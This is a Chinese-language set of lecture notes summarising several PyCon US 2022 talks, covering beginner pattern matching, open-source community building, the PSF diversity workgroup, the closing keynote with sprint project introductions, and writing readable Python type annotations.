PyCon-2022-会议笔记-全-
PyCon 2022 会议笔记(全)
001:初学者的模式匹配 🧩





在本节课中,我们将要学习编程中一个非常基础但强大的概念:模式匹配。我们将通过简单的例子,理解它如何帮助我们更清晰、更安全地处理数据。
模式匹配就像是一个智能的“条件分发器”。它允许我们检查一个数据的结构,并根据其不同的“形态”来执行相应的代码。这比写一连串复杂的 if-else 语句要简洁和直观得多。


什么是模式匹配?🤔
上一节我们提到了模式匹配的概念,本节中我们来看看它的具体形式。


简单来说,模式匹配包含两个核心部分:一个待匹配的表达式,以及一个或多个匹配分支。每个分支由一个模式和与之关联的代码组成。系统会按顺序尝试将表达式与每个模式进行匹配,第一个匹配成功的分支,其代码将被执行。
其核心逻辑可以用以下伪代码描述:
match (expression) {
pattern1 -> code_block1
pattern2 -> code_block2
...
_ -> default_code_block
}
其中,下划线 _ 是一个通配符模式,可以匹配任何值,通常用作默认情况。

一个简单的例子:处理订单状态

让我们通过一个处理网上订单状态的例子来理解模式匹配。假设一个订单可能有几种状态:等待支付、已发货、已送达。
如果不使用模式匹配,我们可能会写很多 if-else 语句。而使用模式匹配,代码会变得非常清晰。

以下是使用模式匹配的代码示例:
# 假设我们用字符串表示状态
order_status = "已发货"

match order_status:
case "等待支付":
print("请尽快完成支付。")
case "已发货":
print("商品已在途中,请注意查收。")
case "已送达":
print("感谢您的购买,期待再次光临!")
case _:
print("未知订单状态。")
运行这段代码,因为 order_status 是 "已发货",所以会输出:商品已在途中,请注意查收。。

模式匹配的优势 ✨

通过上面的例子,我们可以看到模式匹配的一些优点。接下来,我们系统地总结一下。
以下是模式匹配带来的主要好处:
- 清晰直观:代码结构直接反映了数据的可能形态,易于阅读和理解。
- 安全性:编译器或解释器可以检查我们是否处理了所有可能的情况,避免遗漏。
- 简洁性:避免了深层嵌套的
if-else语句,让代码更扁平。 - 解构能力:可以同时匹配并提取复杂数据(如元组、列表、对象)内部的部分值。


更强大的匹配:解构数据

上一节我们看到了基础匹配,本节中我们来看看模式匹配更强大的功能:解构。

解构允许我们在匹配的同时,将数据内部的值提取出来使用。例如,我们有一个表示坐标的点 (x, y)。
以下是解构匹配的示例:
point = (3, 5)
match point:
case (0, 0):
print("点在原点")
case (x, 0):
print(f"点在X轴上,X坐标为 {x}")
case (0, y):
print(f"点在Y轴上,Y坐标为 {y}")
case (x, y):
print(f"点在位置 ({x}, {y})")
case _:
print("不是一个有效的点")
在这个例子中,(x, y) 这个模式不仅匹配了 point,还把元组里的第一个值赋给了变量 x,第二个值赋给了 y,让我们可以在对应的代码块中直接使用它们。
总结

本节课中我们一起学习了模式匹配这一核心概念。
我们了解到,模式匹配是一种根据数据的结构来执行不同代码逻辑的强大工具。它通过 match-case 语句实现,比传统的条件判断更清晰、更安全。我们从简单的值匹配开始,进而学习了如何解构元组等复杂数据,从中提取所需的值。掌握模式匹配,能让你的代码更加简洁和健壮。
003:从周末项目到可持续社区


概述
在本节课中,我们将学习如何将一个简单的周末编程项目,发展成为一个活跃、可持续的开源社区。我们将以 AyudaPy 项目为例,探讨其从个人想法到社区驱动的演变过程,并总结出可复用的关键步骤和核心原则。
章节一:项目缘起与核心问题 🔍
上一节我们概述了课程目标,本节中我们来看看 AyudaPy 项目是如何诞生的。
任何成功的项目都始于一个明确的需求。AyudaPy 的诞生是为了解决一个具体的社会问题:在紧急情况下,高效地连接需要帮助的人与能够提供帮助的资源。
其核心运作模式可以用一个简单的公式表示:
需求匹配 = 信息收集 + 信息验证 + 高效分发
这个公式意味着,项目成功的关键在于建立一个可靠的流程,收集真实的求助与援助信息,进行必要的验证,然后将其精准地传递给能采取行动的人或组织。
章节二:从想法到最小可行产品 🛠️
明确了核心问题后,下一步就是快速构建一个可用的产品来验证想法。
从周末项目起步的关键是专注于开发一个 最小可行产品。这意味着你需要剥离所有复杂的功能,只构建解决核心问题所必需的最简单功能。

对于 AyudaPy 而言,其 MVP 可能包含以下基本功能:
以下是构建 MVP 时建议遵循的步骤列表:
- 定义核心功能:仅实现信息发布和查看。
- 选择简单技术栈:使用熟悉的、能快速上手的工具,例如 Python 的 Flask 或 Django 框架。
- 部署与发布:使用 Heroku、Vercel 等平台快速部署,并开放源代码。
- 收集初始反馈:让最早的用户试用,并根据反馈进行快速迭代。
这个过程的核心是行动与验证,而不是追求完美。
章节三:吸引首批贡献者与建立社区 👥
当 MVP 开始运行并产生价值后,项目就可以向社区化迈进了。


一个项目从“我的项目”转变为“我们的项目”,关键在于吸引和维护贡献者。AyudaPy 通过解决真实、紧迫的问题,自然吸引了第一批希望贡献力量的开发者。
以下是建立健康社区的几个要点:
- 降低贡献门槛:编写清晰的
README.md和CONTRIBUTING.md文档,说明如何设置开发环境、提交代码。 - 标注“新手友好”任务:在 Issue 中明确标记出适合新贡献者解决的简单问题或功能。
- 积极互动与认可:及时回复 Issue 和 Pull Request,感谢每一位贡献者的工作,无论贡献大小。
- 建立沟通渠道:创建公开的聊天群组(如 Discord、Slack)或论坛,供社区成员交流。
过渡到社区驱动是项目可持续发展的基石。
章节四:项目治理与持续发展 📈
随着社区壮大,需要更清晰的结构来引导项目方向,避免混乱。
良好的治理模式能确保项目在规模扩大后仍能高效运作。这包括决策流程、角色定义和冲突解决机制。

一个常见的轻型治理结构如下:
- **维护者**:拥有代码库写入权限,负责 Review PR、管理发布。
- **贡献者**:提交过被合并的代码或文档的社区成员。
- **用户**:使用项目并提供反馈的群体。
决策可以通过在重要的 Issue 或 RFC 中进行公开讨论并寻求共识来进行。
保持项目的透明度和开放性,是激励长期贡献的关键。
章节五:总结与核心收获 🎯

本节课中,我们一起学习了将一个周末项目发展为成熟开源社区的完整路径。

我们回顾了从识别问题、构建 MVP,到吸引贡献者、建立社区治理的全过程。每个阶段的核心在于 创造价值、保持开放 和 促进协作。
记住,成功的开源项目不仅是优秀的代码,更是围绕代码构建起来的、充满活力的人际网络。无论你的项目始于何种想法,遵循这些原则都能帮助你走得更远。

(掌声)
004:多样性与包容性工作组 🧑🤝🧑

在本节课中,我们将学习Python软件基金会(PSF)下属的“多样性与包容性工作组”的成立背景、目标、已取得的进展以及社区成员可以参与贡献的方式。我们将通过具体数据和实例,了解PSF在推动全球Python社区多样性与包容性方面所做的努力。
小组成员介绍

本次讨论的小组成员包括:
- Lorena Mesa:Python软件基金会现任主席。
- Anthony Shaw:来自澳大利亚的PSF会员。
- Reuben Lerner:Python培训师。
- Georgie Kerr:PSF社区成员。
工作组的成立与目标
上一节我们介绍了小组成员,本节中我们来看看这个工作组的由来。
多样性与包容性工作组于2020年11月成立,由Marlene领导,目前共有20名全球成员。工作组的目标是解决PSF及全球Python社区在代表性和参与度上面临的挑战。
问题的显现:2020年PSF董事会选举
那么,是什么问题促使了这个工作组的成立呢?让我们回顾一下2020年的PSF董事会选举情况。
2020年,PSF董事会有四个席位空缺。我们收到了26份提名,其地理分布如下:
- 北美:9份
- 南美:4份
- 欧洲:2份
- 非洲:6份
- 亚洲:5份
然而,选举结束后,所有四个当选席位都来自美国。更值得注意的是,在1151名有投票资格的成员中,只有1%(约40人)参与了投票。
进展与变化:2021年的情况
在了解了2020年的问题后,我们来看看2021年发生了哪些变化。
2021年,有三个董事会席位空缺,我们收到了19份提名。这次选举的结果体现了更多的地理多样性:一位来自南美,一位来自非洲,一位来自欧洲。尽管有七份提名来自亚洲,但仍未有亚洲成员当选。
在参与度方面,有1538名成员有资格投票,投票率提升至39%。此外,我们的文档在志愿者的帮助下被翻译成了10种语言,西班牙语翻译于2021年1月完成。
同时,数据显示全球Python开发者数量从820万增长到1010万,其中亚洲是开发者增长的主导市场。
核心挑战与讨论
基于以上事实,我们不禁要问:PSF在代表性和包容性上面临的核心挑战是什么?
PSF的使命是帮助建立一个与用户一样包容和多样化的社区。然而,董事会历史上对北美和欧洲人员存在偏见。随着全球Pythonista数量的增长,我们可能未能充分接触到全球社区面临的多样化问题。
一个关键点是,身处特定社区中的人最能阐述他们面临的独特挑战。因此,确保这些声音被听到至关重要。
扩大核心开发者的多样性
除了董事会代表性问题,另一个挑战是核心开发者群体的多样性。目前,主要的核心开发者仍多来自美国。
这并不意味着专业技能只存在于美国。全球各地都有极具才华的开发者。我们需要思考如何吸引和培养来自不同地区的核心开发者。
指导(Mentorship) 已被证明是培养新核心开发者的有效方式。现有核心开发者指导新人,已经成功帮助来自非洲和亚洲的新开发者融入。
然而,也存在一些障碍,例如“认识谁”的问题,以及许多开发者可能感到“能力不足”,不敢贡献。我们需要建立机制来发现、鼓励并支持这些潜在的贡献者。
提升社区认知与参与度
那么,我们如何能接触到更广泛的潜在贡献者呢?一个大问题是许多人对开源社区和PSF的认知不足。
很多人将开源软件简单地等同于“免费”,而没有意识到背后存在一个可以参与并施加影响的社区(Community)。因此,首要任务是更好地告知全球开发者:PSF是存在的,Python社区是活跃的,并且你可以通过代码、文档、翻译、教学等多种方式积极参与并影响其发展方向。
你可以如何提供帮助
在讨论了挑战之后,以下是你可以采取的四种具体行动来提供帮助:
- 提供反馈:扫描现场二维码(或通过其他渠道)填写问卷,分享你对于PSF如何更好地实现全球代表性和帮助社区成长的看法。
- 注册成为PSF会员:如果你还不是会员,请访问
psf.org进行注册。 - 行使投票权:如果你已经是PSF会员,请在每年的董事会选举中积极投票。
- 提名社区服务奖(CSA):如果你知道某个人或组织在Python社区中做出了杰出贡献,请写信给PSF提名他们。这是一个认可和鼓励社区工作的重要方式。
包容性的力量:一个社区故事
最后,让我们思考一下包容性的真正含义。有人这样描述:多样性是被邀请参加派对,包容性是被邀请跳舞。
工作组的项目源于我们作为一个社区所共同关心的事情。正如Brett Cannon所说:“我为语言而来,我为社区而留。”
一个生动的例子是Marlene(来自津巴布韦的PSF董事)。她通过教育年轻女性、参与Python Africa社区建设等工作,为Python社区带来了不可或缺的独特视角。她的故事始于社区成员间的相互认可和支持。这种支持可以是简单的鼓励,也可以是更正式的提名,但它能成为持续建设和扩大包容性社区的关键一步。
总结与呼吁
本节课中,我们一起学习了PSF多样性与包容性工作组的背景、目标以及面临的挑战。我们看到了PSF在提升全球代表性和参与度方面取得的进展,也认识到仍有很长的路要走。
Python社区的活力依赖于每一个人的贡献,无论大小。如果你在会议中或线上看到为社区做出贡献的人,请告诉他们,感谢他们。这种认可能鼓励更多人加入。
如果你有任何问题或想法,欢迎随时联系工作组的任何成员。请记住:注册、投票、提名、反馈。让我们共同努力,建设一个真正反映全球Python用户多样性的、可持续发展的包容性社区。
谢谢。


[掌声]
005:主题演讲 - 结束

在本节课中,我们将学习 PyCon US 2022 闭幕式的主要内容,包括会议总结、社区数据、未来展望以及最重要的环节——开源项目冲刺的介绍。我们将了解如何参与这些项目,为开源社区做出贡献。
会议总结与社区数据
PyCon US 2022 即将结束,但仍有重要活动安排。
我们的最后一个活动是开源冲刺。该活动将在 250 和 251 号房间举行,所有 PyCon US 注册者均可免费参加。请注意,这仍是 PyCon US 的重要活动,所有健康和安全指南依然适用。
活动期间将提供咖啡和午餐。更多信息请查看 PyCon 官网。活动结束后,我们将进行一个简短的介绍环节,展示所有可参与的项目。无需额外注册。介绍环节将在本活动结束后通过幻灯片展示。
为了让无法全程参与或晚到的朋友也能了解,如果你有兴趣展示自己的项目,请在舞台旁排队。五到十分钟后,我们将开始冲刺介绍。
同时,请注意会议中心各处设有垃圾桶,例如盐罐旁的主入口处。如果你不希望保留参会吊牌作为纪念,可以将其交回。这些吊牌将被当地艺术家集体回收并创作成艺术品。

接下来,我们回顾一下昨晚的 PyLadies 慈善拍卖。最终我们不得不从幻灯片中移除一些年份的数据,因为增长实在惊人。


昨晚我们为 PyLadies 筹集了 $40,000。然而,这个数字并不完全准确。当我们总计所有捐款、拍卖出价、门票、钥匙扣和 T 恤销售收入,以及额外的匹配捐款后,总金额达到了 $53,267。
我们由衷感谢会计部门的 Phyllis 和 Joe,他们负责了所有的款项计算和处理工作。
另一个令人印象深刻的数据是今年的参会人数。我们知道今年是线下活动缓慢恢复的一年。今年我们有 655 名活跃的在线参与者(实际登录系统的人),以及 747 名领取证件的现场参与者。

在这些与会者中,389 名在线参与者和 1,149 名现场参与者是首次参加 PyCon US。这意味着今年 64% 的与会者都是新朋友。
这充分证明了我们社区的吸引力。对于从未参加过 PyCon 的人来说,大家参与的热情是如此高涨。我们社区的氛围如此强大,以至于我们能像以往每届大会一样,欢迎如此多的新成员加入,并成功举办活动。

时光飞逝,大会即将结束,这令人感触颇深。

社区的力量与未来展望
在会议开始时,我看到一条推文(可惜找不到确切来源),来自一位首次参会者。他表示,在参加 PyCon 的头几个小时内,就对追求编程和职业方向感到更加坚定和自信。
我们的影响力有时远超自己的想象。我个人在与大家共度五天后,也感到动力十足、焕然一新。我们有时会困在自己的小圈子里,居家工作或仅进行数字互动。
Python 语言及其应用的广度和深度令人惊叹。然而,正如 Peter 在主题演讲中指出的,我们仍有巨大的拓展空间。这很惊人,因为我们已经取得了如此多的成就。
我感谢大家继续推进这项事业,继续为我们的社区做出贡献并共同成长。我无比感激大家在过去三年中让我担任你们的主席。
我的一位作家曾说:“我没有什么是原创的,我是我所认识的每一个人的共同努力。”感谢你们在 PyCon 上给予我机会,并持续给予他人超越自己所获的支持。我知道,没有你们每一个人,PyCon 不会是现在的样子,你们独特的视角也在与我们每一个人分享。
现在,在我的最后一项行动中,我想向大家介绍 2023 至 2024 年的新任主席——Mariatta。
新任主席致辞与未来会议信息

大家好,我是 Mariatta。很高兴在这里与大家见面。
我知道现在大家都有些情绪激动。这一周对我来说几乎也是完整的,我相信你们也有同感。我并不感到悲伤,因为我知道明年我们会在这里再次相见。
对于线上参会的朋友们,我真心希望你们明年能亲自加入我们。如果无法实现,我们仍会提供线上直播选项。我甚至在推特上看到有人仅通过 #PyConUS2022 标签就参与了大会,因为大家都在用这个标签进行直播,这太棒了。
我想请大家告诉你的朋友和同事关于 PyCon 的一切。告诉他们你在这里度过了多么精彩的时光,学到了多少东西,遇到了多少人。这样,他们明年才能亲自来体验这一切。
PyCon US 只是全球众多 PyCon 会议中的一个。事实上,如果你访问 pycon.org,可以看到全球各地的 PyCon 会议列表。
我收集了从现在到下一个 PyCon US 之间即将举行的地区性 PyCon 会议列表。实际上,几乎每个月都有不止一个会议。如果你住在这些地区,请去参加。如果不住,那也是一个很好的旅行机会。
所以,在参加完所有这些 PyCon 会议之后,我将在 2023年4月19日(不到一年后)在 盐湖城 与大家再见。之后,2024年和2025年的大会将移师 匹兹堡。
致谢志愿者
现在,让我们花一点时间来认可让本届 PyCon 得以实现的志愿者们。PyCon 是一个由社区运营的活动。因此,我真心希望我们能认可他们的贡献。
接下来,我将开始点名各个团队。如果你听到你所属的团队名称,请站起来并保持站立。我希望大家都能环顾四周,以便我们能为他们鼓掌致谢。
以下是需要感谢的团队列表:
- PyCon 团队
- PSF 成员
- 多样性与外联主席
- 程序委员会主席和评审
- 教程委员会和评审
- 讲座委员会和评审
- 闪电演讲组织者
- 旅行资助团队
- 休息室工作人员
- 屏幕协调员
- 开放空间团队
- PyLadies 慈善拍卖组织者
- 教育峰会组织者和团队
- 语言峰会主席
- 维护者峰会组织者
- 导师、屏幕组织者
- 打包峰会组织者
- 类型峰会组织者
- PyCon 新手组织者
- 启动行组织者和选定团队
- 字幕团队
- 音频和视频技术团队
- 新的相机定位团队
- 所有主题演讲者
- 多样性与包容性小组成员
- 指导委员会成员
- 所有演讲者、教程讲师、海报展示者
- 各峰会演讲者
- 所有现场志愿者、会议主持人、会议主席
- 拍卖会物品管理人员
- 登记信息台工作人员
- “问我”徽章佩戴者
感谢你们的到来,感谢你们的付出。
明年盐湖城再见!
开源冲刺项目介绍
别急着离开!如果你明天要参加冲刺,或者你是项目维护者,请出来排队,介绍你的项目。维护者们将介绍他们正在做的事情,以便贡献者了解明天可以参与哪些项目。
每个项目介绍最多一分钟,类似于极限闪电演讲。请在介绍时告诉人们可以做什么,以及可能需要预先了解什么。如果你听到感兴趣的项目,可以在演讲者下台后与他们交流。你也可以在之前开放空间白板所在的走廊外找到冲刺项目板。
以下是一些即将进行冲刺的项目介绍:
- David Lord:我将为所有项目冲刺,专注于研究新老贡献者可能遇到的问题,包括异步、自定义和自动化等。我将于早上8点开始,并提供甜甜圈。欢迎加入,为闪电演讲和调色板等项目做贡献。
- Christopher:我们正在参与 Pants 构建系统及其维护的 PEX 项目。我们将有一系列适合初学者的任务。如果你有兴趣将你的代码库迁移到 Pants,我们也非常欢迎。
- Patrick:我将专注于 Channels 库(基于 Django)。我们有很多适合初学者的问题,也欢迎处理文档。我们还与 FastAPI、Flask 等框架集成。
- (未具名):我正在开发 Semgrep 代码搜索工具。如果你想编写一个 linter 规则,我们可以在 5-10 分钟内将其写成一个半自动化规则。
- Nick Rinehart:来自国家可再生能源实验室。我们最近发布了 Partridge 匹配代码包。我们将专注于使其更好、更健壮,涉及文档、新功能、测试等。
- Eric Matthes:我将致力于 Django 简单部署 项目,目标是帮助初学者通过简单命令将项目部署到 Heroku 或 Azure 等平台。
- (未具名):我们将专注于 Pyodide(在浏览器中运行 Python)。目标是改进 Pyodide,使其更易于设计应用。你也可以为 CPython 的 WebAssembly 上游工作做贡献。
- Zach:我是 Hypothesis 测试库的维护者。它可以为你编写测试并生成测试数据。明天我将冲刺一些优化新功能和 bug 修复。我有贴纸和搪瓷针作为贡献奖励。
- Eric:来自 Pyjanitor 项目。这是一个数据清理函数库,与 Pandas 兼容。明天主要冲刺文档,但也欢迎贡献新的数据清理函数想法。该项目对初学者极其友好。
- Matt Wysniski:我是 Memray 内存分析器的维护者之一。它可以跟踪 Python 和本地应用的内存使用。最有帮助的是有人尝试使用它并反馈文档问题或 bug。
- (未具名):明天将对 Cloud Custodian(云资源规则引擎)进行冲刺。如果你有兴趣评估云资源是否符合策略,或想熟悉项目、探索文档,欢迎加入。
- Cattney:我将对 CircuitPython(运行在微控制器上的 Python)进行冲刺。我们有可用硬件,欢迎对库或核心进行贡献。
- Darata:来自麻省理工学院。我正在研究 Pagoda 数据流引擎。这是一个小项目,我将致力于添加数据、支持计划任务等。
- Lauren:我在 Meta 工作,我们正在进行 Cinder(Python 的优化版本)的开发。我们将查看一些具体的 Python 优化,并努力将部分工作推送到上游。
感谢所有的维护者!也感谢所有坐在观众席的未来贡献者们。祝大家晚上愉快,明天早上再见!
感谢 PSF 和所有组织者。再见。

本节课中,我们一起学习了 PyCon US 2022 闭幕式的核心内容:从大会总结、令人振奋的社区数据,到对无私奉献的志愿者的感谢,再到对新任主席和未来会议的展望。最重要的部分是详细介绍了多个即将开展冲刺的开源项目,为初学者和资深开发者提供了清晰的参与路径。这充分体现了 PyCon 社区“共建共享”的精神。
006:编写清晰可维护的类型注解


在本节课中,我们将要学习如何为 Python 代码编写清晰、可维护的类型注解。我们将探讨类型注解作为文档的价值,学习如何通过现代语法和代码结构来提升其可读性,并理解静态类型与 Python 运行时动态特性之间的平衡。
概述:为什么需要类型注解?
现在,让我们欢迎 CPython 的核心开发者 Łukasz Langa 作为我们的主讲人。

这是迄今为止我面对过的最多观众,所以我有些紧张。我叫 Łukasz Langa,来自互联网。我参与 Python 社区已经有一段时间了。我喜欢 Python,也喜欢 Robert M. Pirsig 的《禅与摩托车维修艺术》。
这本书探讨了技术与艺术感知的联系,并深入讨论了 质量 的概念。我们今天也会讨论 质量,但更侧重于代码质量,特别是 类型注解。类型注解自 Python 3.5 引入,经过多个 PEP 的增强,已成为表达复杂类型的有力工具。
如果你还没有为代码添加注解,很快你就会体验到它的好处。如果你已经添加了,你可能积累了一些经验。通过这些经验,我们总结出了一些最佳实践,告诉我们如何编写代码,使其更易于与类型检查器协作。这就是我们今天要讨论的核心内容。
类型注解作为文档
上一节我们提到了类型注解的重要性,本节中我们来看看它如何作为一种优秀的文档形式。
看看这个简单的代码示例,它几乎像英语一样易读。它是一个处理所有功能的函数,接受一个参数 items。对于每一个项目,它将查找其上的 children 属性并调用 process 方法。
def handle_all(items):
for item in items:
for child in item.children:
child.process()
然而,即使在这个小例子中,也隐藏着复杂性和问题。items 是什么?在 Python 中,items 可能指字典的键值对,但这里显然不是,因为它们没有 children 属性。我们如何在没有文档字符串的情况下弄清楚?我们需要在代码库中搜索,但这在大型项目中并不容易。
同样,寻找 children 属性或 process 方法也很困难。如果你使用 Python 的动态特性,例如可调用的代理实例,问题会更复杂。从函数签名看,你可以用任何参数调用它。
def call_proxy(proxy, *args, **kwargs):
proxy(*args, **kwargs)
经验表明,通常只有少数几种调用这个代理并传递特定参数的方式是有意义的。要理解这些,我们需要阅读函数体或依赖可能过时的文档。
我认为类型注解是一种极好的文档形式。它对新成员快速熟悉代码库和提高生产力很有帮助,也能帮你回忆起六个月或六年前编写函数时的意图。它有助于代码审查和调试,并且是机器可读的。多亏了类型检查器,我们可以验证代码中的假设,并在未来代码变更时保持这些假设的有效性。
避免丑陋的类型注解
上一节我们探讨了类型注解作为文档的价值,本节中我们来看看如何避免编写难以阅读的复杂注解。
如果类型注解看起来像下面这样呢?这是 Ned Batchelder 去年在 Twitter 上分享的截图,他问道:“我在看这个 Python 文档,这……是什么?这是未来吗?”

我们应该能读懂这个吗?显然,即使是类型注解的强烈支持者也会告诉你这不是理想状态。幸运的是,我们有很多方法可以改善这种情况,使其更易读,甚至无需打扰 Python 核心开发者。
有时,丑陋的类型注解暗示了丑陋的代码。我这么说可能有些争议,但类型注解本身并不创造复杂性,它们只是揭示了代码中固有的复杂性。我理解初学者可能不需要知道这些,Python 的灵活性非常棒。然而,随着经验增长,你将处理越来越复杂的代码。从五行片段到五十万行代码,对代码行为的理解也必须同步增长,否则将导致难以维护的混乱局面。
提升可读性的技巧
上一节我们指出了丑陋注解的问题,本节中我们来看看几个提升类型注解可读性的具体技巧。
首先,我们来解决 Ned Batchelder 展示的那个特别令人震惊的案例。只需几个简单步骤就能改善。
首先,使用现代类型语法。 我们现在使用的是 Python 3.11。Python 3.10 已于去年十月发布,Python 3.9 的最终错误修复版也即将发布。这意味着几乎没有理由不使用 Python 3.9 或更高版本。
在 Python 3.9 中,你可以将内置类型作为泛型集合使用。在 Python 3.10 中,你可以使用管道运算符 | 表示联合类型。结合这些特性,可以写出简洁而可读的复杂类型。
以下是使用现代语法的示例:
# Python 3.10+ 使用 `|` 表示联合类型
from re import Pattern
def search(match: str | Pattern[str] | None) -> Match[str] | None:
...
我希望即使这是你第一次看到这种形式的类型注解,你也能理解它的含义。习惯之后,你就能快速通过类型注解理解代码。
让我们看一个更复杂的例子,我们想要的是类的类型,而不是类的实例。
from typing import Type, Tuple, TypeVar
E = TypeVar(‘E‘, bound=Exception)
def expects_exception(exc: Type[E] | Tuple[Type[E], ...]) -> None:
...
结合这两个例子,我们得到了一个更具可读性的文档,它等价于之前看到的复杂注解。我们现在可以真正理解它的作用:它是一个上下文管理器,响应引发的异常。你需要指定期望引发的异常类型(可以是一个或多个),并可选地指定要匹配的消息(可以是字符串或正则模式)。
其次,注意格式化。 标准化的签名格式对后续注解的可读性影响很大。一些预先存在的格式约定(如在开括号下对齐后续参数)与类型注解不太契合。
我的建议很简单:每行一个参数。这允许你使用更大的字体,并提供足够的空间用于返回类型注解。
# 改进后的格式
def fetch_lyrics(
queries: list[str],
lyrics_db: dict[str, dict[str, str]],
) -> dict[str, set[str]]:
...
现在我们可以看到函数名、它接受的三个参数,以及返回类型注解(一个字典,其值是字符串的集合)。但我对这个注解仍不满意,因为“字符串”具体指什么?
第三,给类型赋予有意义的名称。 类型注解首先是为人设计的。给类型起名对类型检查器没有影响,但对人类读者至关重要。
# 使用类型别名提升可读性
from typing import TypedDict
SongLyrics = dict[str, str] # 歌曲名 -> 歌词
ArtistCatalog = dict[str, SongLyrics] # 艺术家名 -> 歌曲库
LyricsResult = dict[str, set[str]] # 歌曲名 -> 歌词行集合
def fetch_lyrics(queries: list[str], lyrics_db: ArtistCatalog) -> LyricsResult:
...
通过使用有意义的别名,我们得到了更简短的函数签名,并且可以在其他函数中重用这些名称,从而在整个代码库中传达一致的语义。
代码结构与类型设计
上一节我们介绍了提升注解可读性的技巧,本节中我们来看看如何通过调整代码结构来简化类型设计。
我们正从简单的视觉修改转向更像代码重构的领域。这一切仍然与理解代码有关。
首先,保持函数小而简单,并尽早进行类型分发。 以 Python 内置的 max 函数为例,它非常动态,有两个不同的签名。你在自己的代码中最后一次编写如此动态的函数是什么时候?如果你需要这种动态性,通常是库或框架的作者。对于最终用户代码,你很少需要处理这种复杂性。
实现这样一个动态函数的代码往往包含许多调度逻辑,难以阅读和理解。我建议尽早进行分发,将实现替换为只处理特定情况的小函数。
# 原始复杂函数
def process_data(data: int | str | list, flag: bool) -> Any:
if isinstance(data, int):
# ... 20行处理 int
elif isinstance(data, str):
# ... 10行处理 str
# ... 其他情况
# 重构为多个小函数
def _process_int(value: int, flag: bool) -> ...:
...
def _process_str(value: str, flag: bool) -> ...:
...
def process_data(data: int | str | list, flag: bool) -> Any:
if isinstance(data, int):
return _process_int(data, flag)
elif isinstance(data, str):
return _process_str(data, flag)
# ...
拆分函数允许我们看到全局视图,更容易在测试期间识别问题(例如,发现布尔值被意外当作整数处理)。
其次,遵循健壮性原则:在接受输入时灵活,在产生输出时严格。 这意味着函数应该接受更宽泛的类型(如 Iterable),但返回更具体的类型(如 List)。
# 接受时灵活
def find_config(paths: Iterable[Path]) -> Path | None:
for path in paths:
if path.exists():
return path
return None
# 返回时严格
def get_active_users() -> list[str]:
# 总是返回列表,即使为空
return [user for user in all_users if user.is_active]
在接受的方面灵活,可以减少调用者的预处理负担。在返回的方面严格,可以让调用者明确知道他们将得到什么,从而可以安全地使用 .append() 等方法或依赖顺序。
有时,返回 None 来表示“未找到”会迫使调用者不断检查。在这种情况下,使用异常(如 LookupError)可能是更好的选择,因为它能明确地通知调用者失败情况,而默认值可能会掩盖问题。
最后,尽可能避免从函数返回联合类型。 返回联合类型(如 Path | None)会伤害用户,因为他们被迫检查返回值的具体类型。如果稍后你更改了函数,看似有效的代码可能无法按预期工作。
静态类型与动态特性的平衡
上一节我们讨论了代码结构对类型的影响,本节中我们来看看静态类型系统与 Python 运行时动态特性之间的不匹配。
Python 允许很多动态操作,你可以将变量重新赋值为完全不同的类型,Python 运行时不会抱怨。但类型检查器会对此发出警告。那么,谁是对的?运行时 Python 是对的,代码会执行。但你真的需要这种形式的动态性吗?
def convert(value: str) -> datetime:
# ... 一些处理
value = datetime.now() # 类型检查器会警告:`value` 从 `str` 变成了 `datetime`
return value
这种动态性会很快使代码变得混乱,难以推断程序员的意图。静态类型检查出于谨慎考虑,会提示这种可能的问题。解决方案通常很简单:使用另一个变量名。
def convert(input_str: str) -> datetime:
# ... 一些处理
result_date = datetime.now()
return result_date
这实际上有助于调试,因为你可以同时看到转换前后的值。
这引出了鸭子类型(结构类型)与名义类型之间的区别。在运行时,Python 只关心对象是否有所需的属性和方法(“如果它像鸭子一样走路和叫,那它就是鸭子”)。在类型注解中,我们通常使用名义类型,指定我们需要一个 int、str 或 Path。
然而,名义类型并不意味着你只能指定具体类。你可以使用抽象基类(ABCs)或协议(Protocols)来定义所需的结构。
from typing import Protocol, runtime_checkable
@runtime_checkable
class SupportsRead(Protocol):
def read(self, size: int = -1) -> bytes: ...
def read_data(source: SupportsRead) -> bytes:
return source.read(1024)
名义类型有时对我们有帮助。例如,在处理 Python 的动态性时,字符串也是可迭代的(迭代其字符)。如果我们期望一个字符串列表,但错误地传入了一个字符串,for 循环会迭代字符,可能导致错误。
def process_paths(paths: list[str]) -> None:
for path in paths: # 如果 `paths` 是单个字符串,这里会迭代字符
...
# 为了防止错误,我们可能需要进行类型检查
if isinstance(paths, str):
paths = [paths]
通过将类型注解设为 list[str] 而非 Iterable[str],我们处理了一类常见的错误,使类型更明确。
谨慎使用 Any 和字符串类型
上一节我们探讨了静态与动态的平衡,本节中我们来看看两个需要谨慎使用的类型:Any 和 str。
初学者常问:object 不是所有类的基类吗?为什么还需要 typing.Any?实际上,在类型系统中,它们几乎是相反的。
- 标注为
str:告诉类型检查器,任何在str上有效的操作(如.upper())都是允许的,而无效的操作(如.append())会引发警告。 - 标注为
object:告诉类型检查器,只有object上定义的操作(如__str__)是允许的。.upper()和.append()都会引发警告,因为它们不在基础object中。 - 标注为
Any:告诉类型检查器,任何操作都应被视为有效,不要在此处引发类型错误。
Any 很诱人,尤其是当你不知道放什么的时候。但应谨慎使用,因为它会“传染”并使得类型检查器在其他地方的警告静默,因为你明确指示它忽略问题。
另一个有争议的观点是:我开始认为 str 和 Any 没有太大区别。因为字符串可以是数据库 ID、邮箱地址、诗歌或 JSON 编码的图片。当你在各处使用 str 作为类型时,你并没有获得太多具体的语义信息。
我并不是说你不应该使用 str,但每当你发现函数接受大量字符串参数时,可以考虑是否有更好的表示方式(如使用 NewType、TypedDict 或自定义类)来更精确地表达意图,并防止传递错误的字符串。
from typing import NewType
UserId = NewType(‘UserId‘, int)
EmailAddress = NewType(‘EmailAddress‘, str)
def get_user(email: EmailAddress) -> UserId:
...
NewType 可以在语义上区分两种相同的底层类型(如 str),帮助类型检查器捕获错误。
总结与进一步学习
本节课中我们一起学习了如何编写清晰、可维护的 Python 类型注解。
我们首先探讨了类型注解作为机器可读文档的价值。然后,我们学习了如何通过使用现代语法(| 运算符、泛型集合)、改进格式化和使用有意义的类型别名来提升注解的可读性。
接着,我们讨论了如何通过代码结构设计(保持函数小巧、尽早分发、遵循健壮性原则)来简化类型,并避免返回复杂的联合类型。
我们还审视了静态类型检查与 Python 运行时动态特性之间的差异,理解了名义类型与结构类型(鸭子类型)的适用场景,并学会了谨慎使用 Any 和思考 str 的具体语义。
最后,如果你发现自己与类型注解作斗争,无法表达复杂的逻辑,可以退一步思考:你是否真的需要 100% 的动态性?或许可以通过重构来简化。分而治之,一次处理更小的复杂性,这符合 Python 之禅。
进一步阅读建议:
